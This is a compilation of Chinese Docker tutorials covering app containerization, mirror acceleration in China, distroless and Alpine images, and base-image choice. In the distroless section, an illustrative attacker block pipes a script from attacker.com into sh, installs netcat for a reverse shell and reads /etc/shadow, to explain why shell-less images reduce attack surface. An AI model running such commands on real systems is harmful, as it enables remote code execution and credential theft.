容器化现有应用:如何把一个跑在服务器上的程序装进 Docker?

容器化现有应用:如何把一个跑在服务器上的程序装进 Docker?

概述

将现有应用容器化,不是简单地写个 Dockerfile 然后 docker build。你需要理解应用的运行依赖启动方式日志输出配置管理数据持久化等方方面面。本文将以一个真实的 Web 应用为例,展示容器化的完整步骤。

容器化五步法

flowchart TD
    A["第1步:分析应用"] --> B["第2步:编写 Dockerfile"]
    B --> C["第3步:构建测试"]
    C --> D["第4步:配置生产参数"]
    D --> E["第5步:集成 CI/CD"]

    A --> A1["语言/框架"]
    A --> A2["运行时依赖"]
    A --> A3["配置文件"]
    A --> A4["数据存储"]
    A --> A5["启动命令"]

示例:容器化一个 Python Flask 应用

第 1 步:分析传统部署的应用

假设现有应用结构如下:

# 现有应用目录
/opt/myapp/
├── app.py                  # Flask 主程序
├── requirements.txt        # Python 依赖
├── config.py               # 配置(数据库连接等)
├── templates/              # Jinja2 模板
├── static/                 # 静态文件
├── logs/                   # 日志目录
├── uploads/                # 上传文件目录
└── start.sh                # 启动脚本

传统启动方式:

# 安装依赖
cd /opt/myapp
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

# 启动服务(后台运行)
nohup python app.py > /dev/null 2>&1 &

# 查看日志
tail -f /opt/myapp/logs/app.log

第 2 步:编写 Dockerfile

FROM python:3.11-slim

# 设置环境变量
ENV PYTHONUNBUFFERED=1 \
    PYTHONDONTWRITEBYTECODE=1

# 安装系统依赖
RUN apt update && \
    apt install -y --no-install-recommends \
    gcc \
    libpq-dev && \
    apt clean && \
    rm -rf /var/lib/apt/lists/*

# 创建应用目录并设置权限
WORKDIR /app
RUN useradd -m -u 1001 appuser

# 复制依赖文件并安装
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# 复制应用代码
COPY . .

# 创建日志和上传目录,设置权限
RUN mkdir -p logs uploads && \
    chown -R appuser:appuser /app

# 切换到非 root 用户
USER appuser

# 健康检查
HEALTHCHECK --interval=30s --timeout=3s \
  CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:5000/health')" || exit 1

EXPOSE 5000
CMD ["python", "app.py"]

第 3 步:编写 .dockerignore

.git
.gitignore
.venv/
venv/
__pycache__/
*.pyc
.env
logs/
uploads/
*.md
Dockerfile*
docker-compose*
.vscode/
.idea/

第 4 步:构建并测试

# 构建镜像
docker build -t myapp:1.0.0 .

# 测试运行
docker run -d \
  --name myapp-test \
  -p 5000:5000 \
  -e DB_HOST=192.168.1.100 \
  -e DB_PORT=5432 \
  -e DB_NAME=myapp \
  -e DB_USER=myapp \
  -e DB_PASSWORD=secret \
  myapp:1.0.0

# 检查是否正常运行
curl http://localhost:5000/health

# 查看日志
docker logs myapp-test

# 调试:以交互模式运行
docker run --rm -it --entrypoint bash myapp:1.0.0

第 5 步:配置 Docker Compose 生产部署

version: '3.8'

services:
  app:
    build: .
    image: myapp:1.0.0
    restart: unless-stopped
    ports:
      - "5000:5000"
    environment:
      - DB_HOST=db
      - DB_PORT=5432
      - DB_NAME=myapp
      - DB_USER=myapp
      - DB_PASSWORD=${DB_PASSWORD}
      - LOG_LEVEL=info
    volumes:
      - logs:/app/logs
      - uploads:/app/uploads
    depends_on:
      db:
        condition: service_healthy
    healthcheck:
      test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:5000/health')"]
      interval: 30s
      timeout: 5s
      retries: 3

  db:
    image: postgres:15-alpine
    restart: unless-stopped
    environment:
      - POSTGRES_DB=myapp
      - POSTGRES_USER=myapp
      - POSTGRES_PASSWORD=${DB_PASSWORD}
    volumes:
      - db-data:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U myapp"]
      interval: 10s
      timeout: 5s
      retries: 5

  nginx:
    image: nginx:alpine
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
      - uploads:/var/www/uploads:ro
    depends_on:
      - app

volumes:
  logs:
  uploads:
  db-data:

常见应用的容器化要点

Node.js 应用

FROM node:18-alpine

WORKDIR /app

# 使用 --frozen-lockfile 确保依赖一致性
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER node
EXPOSE 3000
CMD ["node", "server.js"]

注意点: 分离 devDependenciesdependencies,生产环境只装 --only=production

Java Spring Boot 应用

FROM eclipse-temurin:17-jre-alpine

WORKDIR /app
COPY target/*.jar app.jar

# 使用多阶段构建或外部构建后复制
EXPOSE 8080

# 使用 exec 形式,正确接收信号
CMD ["java", "-jar", "app.jar"]

注意点: Spring Boot 的日志框架输出到文件时,确保日志目录已创建或直接输出到 stdout。

Go 应用

FROM golang:1.21 AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -o server .

FROM scratch
COPY --from=builder /app/server /
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
CMD ["/server"]

注意点: 静态编译(CGO_ENABLED=0)保证在 scratch 上正常工作。

容器化的常见陷阱

陷阱 问题 解决方案
配置文件硬编码 环境不同需要改 Dockerfile 使用环境变量或挂载配置
日志写入文件 容器重启后日志丢失 将日志输出到 stdout
数据存容器内 容器删除数据消失 使用卷持久化
硬编码 IP/端口 容器间通信不灵活 使用服务名或环境变量
PID 1 问题 信号无法正确接收 使用 exec 形式 CMD 或 init 系统
时区问题 日志时间不对 设置 TZ 环境变量
健康检查缺失 无法自动恢复 添加 HEALTHCHECK

应用配置管理策略

flowchart LR
    A["配置管理"] --> B["构建时\nDockerfile"]
    A --> C["运行时\n环境变量"]
    A --> D["挂载配置文件"]
    A --> E["配置中心"]

    B --> B1["基础镜像版本"]
    B --> B2["编译参数"]

    C --> C1["数据库连接"]
    C --> C2["日志级别"]
    C --> C3["服务端口"]

    D --> D1["nginx.conf"]
    D --> D2["application.yml"]

    E --> E1["Consul/Etcd"]
    E --> E2["K8s ConfigMap"]

数据持久化方案

# docker-compose.yml 中的数据映射
services:
  myapp:
    volumes:
      # 1. 命名卷——Docker 管理
      - app-logs:/app/logs

      # 2. 绑定挂载——指定宿主机路径
      - /data/uploads:/app/uploads

      # 3. 只读挂载配置文件
      - ./config:/app/config:ro

总结

步骤 核心工作 关键命令/文件
分析 了解应用的依赖、启动方式、数据存储 ps auxcat /etc/systemd/system/
编写 写 Dockerfile + .dockerignore FROMRUNCOPYCMD
构建 构建镜像并本地测试 docker build -tdocker run
配置 环境变量、卷、健康检查、重启策略 docker-compose.yml
上线 部署到测试环境验证,再上生产 docker stack deploykubectl

核心原则:
1. 应用配置通过环境变量注入,不硬编码
2. 日志输出到 stdout/stderr,不写文件
3. 持久数据使用卷,不存容器内
4. 进程以非 root 用户运行
5. 多阶段构建分离编译和运行环境
6. 添加健康检查实现自动恢复


国内网络环境下的 Docker 镜像构建:从拉取到加速

国内网络环境下的 Docker 镜像构建:从拉取到加速

概述

在国内网络环境下构建 Docker 镜像并非一帆风顺。从 docker pull 官方镜像到 pip/npm/apt 安装依赖,都可能遇到下载缓慢、超时失败的苦恼。本文将介绍一套从”基础镜像”到”应用依赖”的全链路加速方案。

问题清单

# 典型错误 1:拉取基础镜像超时
docker pull node:18-alpine
# Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: TLS handshake timeout

# 典型错误 2:Python 包下载慢
RUN pip install -r requirements.txt
# 下载速度:20KB/s,预计剩余 45 分钟...

# 典型错误 3:apt 源慢
RUN apt update
# 从美国源下载,速度极慢或失败

加速方案总览

flowchart TD
    A["国内 Docker 构建加速"] --> B["加速基础镜像拉取"]
    A --> C["加速系统包下载"]
    A --> D["加速语言依赖下载"]

    B --> B1["配置镜像加速器"]
    B --> B2["使用国内的公共镜像仓库"]

    C --> C1["更改 apt/apk/yum 源"]

    D --> D1["npm 换淘宝源"]
    D --> D2["pip 换清华源"]
    D --> D3["Go 换 GOPROXY"]
    D --> D4["Maven 换阿里云源"]

方案 1:配置 Docker 镜像加速器

Docker Desktop(推荐)

# 配置国内镜像加速器(多个以逗号分隔)
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": [
    "https://docker.m.daocloud.io",
    "https://dockerhub.icu",
    "https://docker.1ms.run"
  ]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
# 验证是否生效
docker info | grep -A 10 "Registry Mirrors"
# Registry Mirrors:
#   https://docker.m.daocloud.io/
#   https://dockerhub.icu/

无法访问官方 Hub?使用代理拉取

# 如果所有加速器都失效,尝试直接使用代理
# 在 Docker 服务配置中设置代理
sudo mkdir -p /etc/systemd/system/docker.service.d
sudo tee /etc/systemd/system/docker.service.d/proxy.conf <<-'EOF'
[Service]
Environment="HTTP_PROXY=http://proxy.example.com:8080"
Environment="HTTPS_PROXY=http://proxy.example.com:8080"
Environment="NO_PROXY=localhost,127.0.0.1"
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

方案 2:Dockerfile 中替换镜像源

APT(Debian/Ubuntu)

FROM ubuntu:22.04

# 替换 APT 源为国内镜像(以阿里云为例)
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \
    sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \
    apt update && \
    apt install -y --no-install-recommends curl && \
    apt clean && \
    rm -rf /var/lib/apt/lists/*

APK(Alpine)

FROM alpine:3.18

# 替换 APK 源为国内镜像
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories && \
    apk --no-cache add curl bash

PIP(Python)

FROM python:3.11-slim

# 设置 pip 国内镜像源
RUN pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple && \
    pip config set global.trusted-host pypi.tuna.tsinghua.edu.cn

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

NPM(Node.js)

FROM node:18-alpine

# 设置 npm 国内镜像源
RUN npm config set registry https://registry.npmmirror.com

# 或使用 cnpm
# RUN npm install -g cnpm --registry=https://registry.npmmirror.com

COPY package*.json ./
RUN npm ci

Go Module

FROM golang:1.21-alpine

# 设置 GOPROXY 为国内代理
ENV GOPROXY=https://goproxy.cn,direct
# 也可以使用:https://goproxy.io

WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download

Maven(Java)

FROM maven:3.9-eclipse-temurin-17 AS builder

WORKDIR /build

# 替换 Maven settings.xml
RUN mkdir -p /root/.m2 && \
    echo '
      
        
          aliyunmaven
          *
          阿里云公共仓库
          https://maven.aliyun.com/repository/public
        
      
    ' > /root/.m2/settings.xml

COPY pom.xml .
RUN mvn dependency:go-offline
COPY src ./src
RUN mvn package -DskipTests

方案 3:使用国内镜像仓库

1. 阿里云容器镜像服务

# 登录阿里云 Docker Registry
docker login --username=your_account registry.cn-hangzhou.aliyuncs.com

# 从阿里云拉取海外镜像
docker pull registry.cn-hangzhou.aliyuncs.com/google_containers/pause:3.9

# 推送自己的镜像
docker tag myapp:v1 registry.cn-hangzhou.aliyuncs.com/namespace/myapp:v1
docker push registry.cn-hangzhou.aliyuncs.com/namespace/myapp:v1

# 在 Dockerfile 中 FROM 阿里云的镜像
FROM registry.cn-hangzhou.aliyuncs.com/library/node:18-alpine

2. 腾讯云容器镜像服务

# 登录腾讯云 TCR
docker login --username=100000000000 ccr.ccs.tencentyun.com

# 拉取
docker pull ccr.ccs.tencentyun.com/library/nginx:alpine

方案 4:自建镜像缓存

Docker Registry 代理缓存(v2 版本支持)

# 运行一个 Registry 作为 pull-through 缓存
docker run -d \
  -p 5000:5000 \
  -v /data/registry:/var/lib/registry \
  -e REGISTRY_PROXY_REMOTEURL=https://registry-1.docker.io \
  registry:2
# 配置 Docker 使用本地缓存
echo '{"registry-mirrors": ["http://localhost:5000"]}' > /etc/docker/daemon.json

方案 5:构建时一次性配置

推荐方案:使用构建参数

FROM node:18-alpine

# 使用 ARG 实现运行时切换源
ARG NPM_REGISTRY=https://registry.npmmirror.com
RUN npm config set registry ${NPM_REGISTRY}

# 其他业务指令
COPY package*.json ./
RUN npm ci
COPY . .
CMD ["node", "app.js"]
# 国内构建
docker build --build-arg NPM_REGISTRY=https://registry.npmmirror.com -t myapp .

# 海外构建(默认)
docker build -t myapp .

完整的国内加速 Dockerfile 模板

# 使用国内容器镜像仓库的基础镜像
FROM node:18-alpine

# === 国内源配置(全部在 RUN 合并,减少层数) ===
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories && \
    npm config set registry https://registry.npmmirror.com

# === 安装系统依赖 ===
RUN apk --no-cache add curl tzdata

# === 安装应用依赖 ===
WORKDIR /app
COPY package*.json ./
RUN npm ci

# === 构建 ===
COPY . .
RUN npm run build

# === 运行 ===
EXPOSE 3000
USER node
CMD ["node", "dist/server.js"]
# 构建(国内网络)
docker build -t myapp .

# 整个构建过程速度可能从 30 分钟降低到 3 分钟

常见问题排查

# 问题 1:加速器配置后还是慢
# 可能原因:加速器失效或 DNS 问题
# 解决:切换其他加速器

# 问题 2:Dockerfile 内源替换不生效
# 检查:Dockerfile 中源地址是否写对
# 检查:是否在 RUN 的同一行完成(临时文件不跨层持久化)

# 问题 3:pip/npm 每次构建都重新下载
# 解决:先复制 package.json 安装依赖,再复制源码

总结

  • Docker Hub 在国内访问不稳定,必须配置加速方案
  • 推荐配置:Docker 镜像加速器 + Dockerfile 内的国内源替换
  • 各语言包管理器都有国内镜像:npm(npmmirror)、pip(清华/阿里云)、go(goproxy.cn)
  • 使用构建参数(ARG)实现同一 Dockerfile 在不同环境的适配
  • 生产环境建议将基础镜像提前拉取到自建 Registry 中
  • 更新源配置要写在 Dockerfile 的同一层(一行完成),否则缓存失效

Distroless 镜像:没有 Shell 的容器,到底安不安全?

Distroless 镜像:没有 Shell 的容器,到底安不安全?

概述

Distroless 是 Google 推出的”极简”基础镜像概念。说它”极简”不仅是体积小,更是功能少——Distroless 镜像不包含包管理器、Shell、以及任何非必要的操作系统工具。

一个 Distroless 容器里,只有你的应用和它运行所必需的运行时依赖项,仅此而已。

Distroless vs 传统镜像

flowchart LR
    subgraph "传统镜像(如 Ubuntu)"
        A["应用"]
        A1["系统工具\nbash, curl, vim"]
        A2["包管理器\napt, dpkg"]
        A3["系统库"]
        A4["Linux 内核(共享宿主)"]
    end

    subgraph "Distroless 镜像"
        B["应用"]
        B3["运行时依赖\nglibc + 必要库"]
        B4["Linux 内核(共享宿主)"]
    end
# 大小对比
# ubuntu:22.04                         77 MB
# alpine:3.18                           5 MB
# gcr.io/distroless/base-debian12      ~15 MB
# gcr.io/distroless/static-debian12    ~2 MB  (静态二进制)
# gcr.io/distroless/java17-debian12    ~160 MB(含 JRE)

Distroless 的优势

1. 攻击面最小化

传统容器中,攻击者如果通过应用漏洞获得控制权,可以:

# 如果有 shell,攻击者可以:
bash -c "curl http://attacker.com/backdoor.sh | sh"   # 下载并执行恶意脚本
apt install netcat                                      # 安装反向 shell 工具
cat /etc/shadow                                         # 尝试读取密码文件

但在 Distroless 里:

# 没有 shell
# 没有 curl/wget
# 没有 apt/apk
# 没有 /bin/sh
# 没有 /bin/bash
# 没有文本编辑器

# 攻击者几乎什么都做不了!

2. 小

FROM golang:1.21 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .

# 使用 Distroless 作为运行环境
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /app/server /server
CMD ["/server"]
最终镜像大小:约 8-10MB(比 Alpine 版本略大一点,但更安全)

3. 无需担忧 CVE

# 传统镜像的 CVE 扫描结果可能包含:
# - bash 漏洞
# - curl 漏洞
# - openssl 漏洞
# - 包管理器的漏洞

# Distroless 的 CVE 扫描:
# - 只有应用和运行时依赖的 CVE
# - 几乎没有"不需要的" CVE

Distroless 的缺点

1. 难以调试

# 在传统容器中可以:
docker exec -it myapp bash
# 查看日志、测试连接、检查文件

# 在 Distroless 容器中:
docker exec -it myapp bash
# ❌ 错误:没有 bash!

docker exec -it myapp sh
# ❌ 错误:没有 sh!

docker exec myapp ls /app
# ❌ 错误:没有 ls!

调试方法:

# 方法 1:添加调试容器
docker run --rm -it --pid=container:myapp \
  alpine:3.18 nsenter -t 1 -m -u -i -n -p sh
# 使用 Alpine 调试容器的进程空间

# 方法 2:使用 kubectl debug(Kubernetes)
kubectl debug -it myapp-pod --image=alpine:3.18

# 方法 3:用 docker cp 先取出文件分析
docker cp myapp:/app/logs ./logs

2. 缺少常用系统工具

# 如果应用需要 curl、ping、openssl 等工具
# Distroless 默认不包含它们

# 解决方案:如果真需要这些工具,考虑 Alpine
FROM alpine:3.18
RUN apk --no-cache add curl openssl

3. 非 root 用户的限制

FROM gcr.io/distroless/base-debian12:nonroot

# Distroless 的 nonroot 变体以 65534 用户运行
# 这在某些场景下可能有权限问题:
# - 需要绑定 <1024 端口
# - 需要访问特定挂载点

Distroless 变体

Google 提供了多个 Distroless 变体:

# 基础版(glibc + 必要库)
FROM gcr.io/distroless/base-debian12

# 静态链接二进制专用
FROM gcr.io/distroless/static-debian12

# CC 工具(glibc + 编译工具)
FROM gcr.io/distroless/cc-debian12

# Python 3
FROM gcr.io/distroless/python3-debian12

# Java 17
FROM gcr.io/distroless/java17-debian12

# Node.js 18
FROM gcr.io/distroless/nodejs18-debian12

# Go 部署
FROM gcr.io/distroless/go-debian12

非 root 变体:

# 默认以 65534 运行
FROM gcr.io/distroless/base-debian12:nonroot

# 或自己指定
FROM gcr.io/distroless/base-debian12
USER 1001

实战:Java 应用使用 Distroless

FROM maven:3.9-eclipse-temurin-17 AS builder
WORKDIR /build
COPY pom.xml .
RUN mvn dependency:go-offline
COPY src ./src
RUN mvn package -DskipTests

FROM gcr.io/distroless/java17-debian12
COPY --from=builder /build/target/*.jar /app/app.jar
WORKDIR /app
CMD ["app.jar"]
# 最终镜像大小:约 200MB
# 比 eclipse-temurin:17-jre-alpine 更小也更安全
# 但完全没法用 exec 进入调试

什么时候用 Distroless?

flowchart TD
    A["选择运行镜像"] --> B{是否需要调试?}
    B -->|"生产环境\n通常不需要"| C["Distroless ✅"]
    B -->|"开发/测试\n经常需要"| D["Alpine 或 Slim ✅"]

    C --> E{"应用类型?"}
    E --> F["静态编译 → static-distroless"]
    E --> G["Java → java-distroless"]
    E --> H["Python → python-distroless"]

    D --> I{"兼容性?"}
    I --> J["musl 兼容 → Alpine"]
    I --> K["需要 glibc → Slim/Distroless"]

最佳实践:混合策略

# 方案:多阶段构建,不同环境用不同镜像

# === 第一阶段:调试友好的开发镜像 ===
FROM node:18-alpine AS dev
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
CMD ["npm", "run", "dev"]

# === 第二阶段:安全的生产镜像 ===
FROM gcr.io/distroless/nodejs18-debian12 AS prod
WORKDIR /app
COPY --from=dev /app/node_modules ./node_modules
COPY --from=dev /app/dist ./dist
COPY --from=dev /app/package.json ./
CMD ["dist/server.js"]
# 开发用调试版
docker build --target dev -t myapp:dev .

# 生产用安全版
docker build --target prod -t myapp:prod .

总结

特性 Distroless Alpine Ubuntu
大小 2-15 MB 5 MB 77 MB
Shell ❌ 无 ✅ ash ✅ bash
包管理器 ❌ 无 ✅ apk ✅ apt
CVE 数量 极少 很少 较多
调试难度
生产推荐 ✅ 强烈推荐 ✅ 推荐 ❌ 不推荐
开发推荐 ❌ 不推荐 ✅ 推荐 ✅ 推荐
  • Distroless = 生产环境的最佳选择,安全、小、受攻击面最小
  • 没有 Shell 和包管理器是特性,不是缺陷
  • 通过独立调试容器解决调试问题
  • 固定使用 :nonroot 变体增强安全性
  • 生产用 Distroless,开发用 Alpine 或 Slim,是最佳组合

Alpine 镜像:小而美的 Linux,但你真的了解它的代价吗?

Alpine 镜像:小而美的 Linux,但你真的了解它的代价吗?

概述

Alpine Linux 是 Docker 生态中最受欢迎的小型基础镜像之一。它基于 musl libc 和 BusyBox,基础镜像仅约 5MB。但这”轻”的背后,隐藏着一些你可能不知道的坑。

Alpine 的出身

Alpine Linux 是一个面向安全的轻量级 Linux 发行版:

  • musl libc —— 替代 glibc 的轻量级 C 标准库
  • BusyBox —— 将常见 Unix 工具集成为一个二进制文件
  • OpenRC —— 初始化系统
  • PaX/grsecurity —— 内核加固补丁
# 基础镜像大小对比
docker images alpine:3.18 ubuntu:22.04 debian:bookworm-slim busybox
# alpine:3.18        5.4MB
# ubuntu:22.04      77.9MB
# debian:bookworm   122MB
# busybox:latest     4.2MB

Alpine 的优势

1. 镜像尺寸极小

FROM alpine:3.18
RUN apk --no-cache add nginx
# 最终镜像约 10MB

FROM ubuntu:22.04
RUN apt update && apt install -y nginx
# 最终镜像约 200MB(含各种依赖和缓存)

2. 安全攻击面小

# Alpine 默认不含以下组件:
# - bash(只有 ash)
# - sudo/su
# - SSH 服务器
# - 编译工具链
# - Python/Perl 等解释器

# 这意味着攻击者即使进入容器,能做的事也很有限

3. 包管理效率高

FROM alpine:3.18

# --no-cache 自动清理索引缓存
# 不需要 apt clean + rm -rf /var/lib/apt/lists/*
RUN apk --no-cache add curl bash nginx

# Alpine 包的磁盘占用也更小
RUN apk --no-cache add openssl
# ~1.5MB vs Ubuntu 的 ~3-5MB

4. CVE 数量少

根据公开数据,Alpine 的 CVE 数量通常只有 Ubuntu/Debian 的十分之一左右。因为它的软件包数量少、功能精简。

flowchart TD
    A["Alpine 3.18"] --> B["包数量: ~12,000"]
    C["Ubuntu 22.04"] --> D["包数量: ~60,000"]
    B --> E["CVE: ~30-50/年"]
    D --> F["CVE: ~300-500/年"]

    style E fill:#c8e6c9
    style F fill:#ffcdd2

Alpine 的缺点

1. musl vs glibc 兼容性问题

这是最大的坑。很多应用依赖 glibc 的特定行为:

# ❌ 可能出问题的场景
FROM alpine:3.18
RUN apk --no-cache add python3
# Python 在 alpine 上工作良好(CPython 支持 musl)
# 但某些 C 扩展可能有问题

# Go 的 net/http 在 alpine 上正常(纯 Go)
# 但如果使用了 CGO + glibc-only 库,就会出问题
# 常见兼容性错误
standard_init_linux.go: exec user process caused "no such file or directory"
# 通常是动态链接问题——二进制链接了 glibc 但没有 glibc

# 解决方案
# 1. 使用 CGO_ENABLED=0 静态编译
# 2. 改用基于 glibc 的镜像
# 3. 安装 gcompat 兼容层

2. DNS 解析问题

Alpine 的 DNS 解析行为与 glibc 不同:

FROM alpine:3.18
RUN apk --no-cache add curl
# 某些情况下,Alpine 的 DNS 解析可能不稳定
# 特别是当 DNS 返回多个 IP 时
# 解决方法:显式设置 DNS
docker run --dns 8.8.8.8 alpine nslookup google.com

# 或修改 /etc/resolv.conf 的挂载模式

3. 构建速度较慢

# Alpine 安装原生 Python 包时
# 很多 wheel 是 glibc 预编译的
# Alpine 上需要从源码编译

FROM alpine:3.18
RUN apk --no-cache add py3-numpy
# 在 Alpine 上需要从源码编译,耗时更长

FROM python:3.11-slim
RUN pip install numpy
# 直接使用预编译 wheel(.manylinux),秒级安装

Alpine 兼容性矩阵

应用类型 兼容性 说明
纯 Go 应用(CGO=0) ✅ 完美 静态链接,无 glibc 依赖
Rust 应用 ✅ 完美 默认静态链接
Python 应用 ⚠️ 较好 标准库没问题,某些 C 扩展需测试
Node.js 应用 ✅ 较好 官方提供 alpine 版,但某些原生模块需测试
Java 应用 ⚠️ 一般 需要额外配置字体、DNS 等
C/C++ 应用 ⚠️ 需测试 依赖 glibc 的行为可能需要适配
PHP 应用 ✅ 较好 Alpine 包管理有 PHP 生态
.NET 应用 ⚠️ 需测试 .NET 6+ 官方支持 Alpine

Alpine 替代方案

# 1. Debian Slim(小 + glibc 兼容)
FROM debian:bookworm-slim
# ~80MB,完整的 glibc 兼容性

# 2. Distroless(小 + 安全 + glibc)
FROM gcr.io/distroless/base-debian12
# ~15MB,无 shell,基于 glibc

# 3. Wolfi(新兴的安全分布)
FROM cgr.dev/chainguard/wolfi-base
# ~12MB,glibc,无发 CVE

# 4. 继续用 Ubuntu(开发环境)
FROM ubuntu:22.04
# ~77MB,最大兼容性

什么时候用 Alpine?

flowchart TD
    A["要选基础镜像"] --> B{应用类型}
    B --> C["静态编译\nGo/Rust"]
    B --> D["解释型语言\nPython/Node.js"]
    B --> E["Java/.NET"]
    B --> F["需要 glibc\nC/C++ 应用"]

    C --> G["✅ Alpine 首选"]
    D --> H{"原生依赖?"}
    H --> I["无原生编译 → Alpine ✅"]
    H --> J["有原生编译 → 测试后定"]
    E --> K["⚠️ 测试后谨慎使用"]
    F --> L["❌ 用 Debian Slim\n或 Distroless"]

最佳实践

# 在 Alpine 上构建 Node.js 应用
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./

# 如果用到了原生模块
RUN apk --no-cache add g++ make python3
RUN npm ci

COPY . .
RUN npm run build

FROM node:18-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
USER node
CMD ["node", "dist/server.js"]

总结

  • Alpine 的核心优势:(5MB)、安全(攻击面小、CVE 少)
  • 核心风险:musl vs glibc 兼容性、DNS 行为差异
  • 静态编译语言(Go、Rust)在 Alpine 上表现完美
  • Python/Node.js 应用需要测试原生扩展的兼容性
  • Java 应用在 Alpine 上需特别注意 DNS、时区等配置
  • 如果不确定兼容性,优先选 debian:bookworm-slimdistroless
  • 生产环境建议以兼容性优先,体积次之

基础镜像选择:构建 Docker 容器化应用的第一步

基础镜像选择:构建 Docker 容器化应用的第一步

概述

基础镜像(Base Image)是 Dockerfile 的起点,FROM 指令决定了你的镜像将基于什么操作系统和运行时环境。选对了基础镜像,你的应用跑得又快又安全;选错了,可能带来安全隐患、体积臃肿、性能下降等问题。

主流基础镜像一览

flowchart TD
    A["选择基础镜像"] --> B["官方镜像"]
    A --> C["发行版镜像"]
    A --> D["特殊镜像"]

    B --> B1["node:18\npython:3.11\ngolang:1.21\n..."]
    C --> C1["ubuntu:22.04 (~77MB)"]
    C --> C2["debian:bookworm-slim (~80MB)"]
    C --> C3["alpine:3.18 (~5MB)"]
    C --> C4["busybox (~4MB)"]

    D --> D1["scratch (0B)"]
    D --> D2["distroless (~15MB)"]
    D --> D3["chainguard/wolfi (~12MB)"]

基础镜像对比表

镜像 大小 包管理器 Shell C 库 安全
ubuntu:22.04 77 MB apt bash glibc 一般
debian:bookworm 120 MB apt bash glibc 一般
debian:bookworm-slim 80 MB apt bash glibc 一般
alpine:3.18 5 MB apk ash musl 较好
busybox 4 MB sh musl/glibc 一般
scratch 0 B 极佳
distroless ~15 MB glibc 极佳
wolfi-base ~12 MB apk glibc 极佳

选择依据

1. 编程语言/运行时

# 语言官方镜像(最省心)
FROM node:18            # Node.js + 完整 OS
FROM python:3.11        # Python + 完整 OS
FROM golang:1.21        # Go 工具链
FROM openjdk:17         # Java JDK
FROM nginx:alpine       # Nginx 服务器
FROM mysql:8.0          # MySQL 数据库

2. 镜像大小要求

# 极致压缩(Go 编译后不需要运行时)
FROM golang:1.21 AS builder
...
FROM scratch
COPY --from=builder /app/server /
CMD ["/server"]

# 需要一些系统工具
FROM alpine:3.18

3. C 库兼容性

这是一个容易踩坑的地方:

# Alpine 使用 musl libc
FROM alpine:3.18
# 某些 Go 应用使用 CGO 时可能不兼容

# 需要完整 glibc 兼容性时
FROM debian:bookworm-slim
# 或使用 distroless(也基于 glibc)
FROM gcr.io/distroless/base-debian12
# 如果 Alpine 上遇到 "not found" 错误,常见原因:
# - 使用了 CGO 编译且依赖 glibc
# - 动态链接了 glibc 库
# 解决方案:静态编译或使用 glibc 基础镜像

4. 安全需求

# 高安全要求:使用最小化镜像
FROM gcr.io/distroless/base-debian12
# 没有 shell、没有包管理器、没有 SUID 二进制
# 攻击面最小化

# 需要 CVE 扫描:定期更新基础镜像
FROM alpine:3.18
# Alpine 的 CVE 量通常远少于 Ubuntu

实战场景选择

场景 1:Go Web 服务

# ✅ 推荐:Scratch 或 Alpine
FROM scratch
COPY --from=builder /app/server /
CMD ["/server"]
# 大小:~8MB
# 安全:攻击面最小

场景 2:Python/Django 应用

# ✅ 推荐:python:slim 或 python:alpine
FROM python:3.11-slim
# 优点:完整 glibc 兼容性
# 大小:~150MB

# 或使用 alpine(需要测试兼容性)
FROM python:3.11-alpine
# 优点:更小
# 缺点:某些 native 包需要编译

场景 3:Java Spring Boot

# ✅ 推荐:eclipse-temurin 或 openjdk slim
FROM eclipse-temurin:17-jre-alpine
# 只包含 JRE,不包含 JDK
# 大小:~170MB

# 或使用 distroless Java
FROM gcr.io/distroless/java17-debian12
# 更安全,没 shell

场景 4:Nginx 静态文件服务

# ✅ 推荐:nginx:alpine
FROM nginx:alpine
# 优点:官方维护、常用、小
# 大小:~25MB

场景 5:Alpine 上的常用包安装

FROM alpine:3.18

# 安装常用工具
RUN apk --no-cache add \
    curl \
    bash \
    ca-certificates \
    tzdata

# --no-cache 是关键:不缓存包索引

面试高频问题

问题:为什么选择 Alpine 作为基础镜像?

回答要点:
– 极小:只有 ~5MB,基于 musl libc + busybox
– 安全:攻击面小,CVE 少
– 快速:下载和部署快
– 缺点:musl libc 与 glibc 可能存在兼容性问题
– 需要包时,apk 包管理器比 apt 快

问题:Scratch 和 Alpine 怎么选?

场景 Scratch Alpine
需要 shell
需要包管理器
极致安全 partially
Go 静态编译
需要调试
只有二进制

问题:官方镜像的 -slim-alpine-bullseye 后缀是什么意思?

# -slim:基于 Debian Slim(精简版 Debian)
FROM node:18-slim      # ~130MB
FROM node:18           # ~900MB(包含完整工具链)

# -alpine:基于 Alpine Linux
FROM node:18-alpine    # ~170MB

# -bullseye:基于 Debian 11 Bullseye
FROM node:18-bullseye  # ~900MB

# -bookworm:基于 Debian 12 Bookworm
FROM node:18-bookworm  # ~900MB

最佳实践总结

